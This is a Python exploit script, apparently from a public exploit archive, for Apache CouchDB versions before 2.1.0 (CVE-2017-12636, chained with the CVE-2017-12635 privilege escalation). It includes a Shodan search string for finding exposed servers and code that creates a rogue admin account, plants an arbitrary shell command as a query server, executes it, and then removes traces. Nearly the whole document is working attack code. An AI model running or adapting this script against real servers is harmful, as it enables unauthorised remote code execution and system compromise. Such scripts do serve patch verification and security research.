# Title: Apache CouchDB < 2.1.0 - Remote Code Execution
# Author: Cody Zacharias
# Shodan Dork: port:5984
# Vendor Homepage: http://couchdb.apache.org/
# Software Link: http://archive.apache.org/dist/couchdb/source/1.6.0/
# Version: <= 1.7.0 and 2.x - 2.1.0
# Tested on: Debian
# CVE : CVE-2017-12636
# References:
# https://justi.cz/security/2017/11/14/couchdb-rce-npm.html
# https://blog.trendmicro.com/trendlabs-security-intelligence/vulnerabilities-apache-couchdb-open-door-monero-miners/
# Proof of Concept: python exploit.py --priv -c "id" http://localhost:5984
#!/usr/bin/env python
from requests.auth import HTTPBasicAuth
import argparse
import requests
import re
import sys
def getVersion():
version = requests.get(args.host).json()["version"]
return version
def error(message):
print(message)
sys.exit(1)
def exploit(version):
with requests.session() as session:
session.headers = {"Content-Type": "application/json"}
# Exploit privilege escalation
if args.priv:
try:
payload = '{"type": "user", "name": "'
payload += args.user
payload += '", "roles": ["_admin"], "roles": [],'
payload += '"password": "' + args.password + '"}'
pr = session.put(args.host + "/_users/org.couchdb.user:" + args.user,
data=payload)
print("[+] User " + args.user + " with password " + args.password + " successfully created.")
except requests.exceptions.HTTPError:
error("[-] Unable to create the user on remote host.")
session.auth = HTTPBasicAuth(args.user, args.password)
# Create payload
try:
if version == 1:
session.put(args.host + "/_config/query_servers/cmd",
data='"' + args.cmd + '"')
print("[+] Created payload at: " + args.host + "/_config/query_servers/cmd")
else:
host = session.get(args.host + "/_membership").json()["all_nodes"][0]
session.put(args.host + "/_node/" + host + "/_config/query_servers/cmd",
data='"' + args.cmd + '"')
print("[+] Created payload at: " + args.host + "/_node/" + host + "/_config/query_servers/cmd")
except requests.exceptions.HTTPError as e:
error("[-] Unable to create command payload: " + e)
try:
session.put(args.host + "/god")
session.put(args.host + "/god/zero", data='{"_id": "HTP"}')
except requests.exceptions.HTTPError:
error("[-] Unable to create database.")
# Execute payload
try:
if version == 1:
session.post(args.host + "/god/_temp_view?limit=10",
data='{"language": "cmd", "map": ""}')
else:
session.post(args.host + "/god/_design/zero",
data='{"_id": "_design/zero", "views": {"god": {"map": ""} }, "language": "cmd"}')
print("[+] Command executed: " + args.cmd)
except requests.exceptions.HTTPError:
error("[-] Unable to execute payload.")
print("[*] Cleaning up.")
# Cleanup database
try:
session.delete(args.host + "/god")
except requests.exceptions.HTTPError:
error("[-] Unable to remove database.")
# Cleanup payload
try:
if version == 1:
session.delete(args.host + "/_config/query_servers/cmd")
else:
host = session.get(args.host + "/_membership").json()["all_nodes"][0]
session.delete(args.host + "/_node" + host + "/_config/query_servers/cmd")
except requests.exceptions.HTTPError:
error("[-] Unable to remove payload.")
def main():
version = getVersion()
print("[*] Detected CouchDB Version " + version)
vv = version.replace(".", "")
v = int(version[0])
if v == 1 and int(vv) <= 170:
exploit(v)
elif v == 2 and int(vv) < 211:
exploit(v)
else:
print("[-] Version " + version + " not vulnerable.")
sys.exit(0)
if __name__ == "__main__":
ap = argparse.ArgumentParser(
description="Apache CouchDB JSON Remote Code Execution Exploit (CVE-2017-12636)")
ap.add_argument("host", help="URL (Example: http://127.0.0.1:5984).")
ap.add_argument("-c", "--cmd", help="Command to run.")
ap.add_argument("--priv", help="Exploit privilege escalation (CVE-2017-12635).",
action="store_true")
ap.add_argument("-u", "--user", help="Admin username (Default: guest).",
default="guest")
ap.add_argument("-p", "--password", help="Admin password (Default: guest).",
default="guest")
args = ap.parse_args()
main()
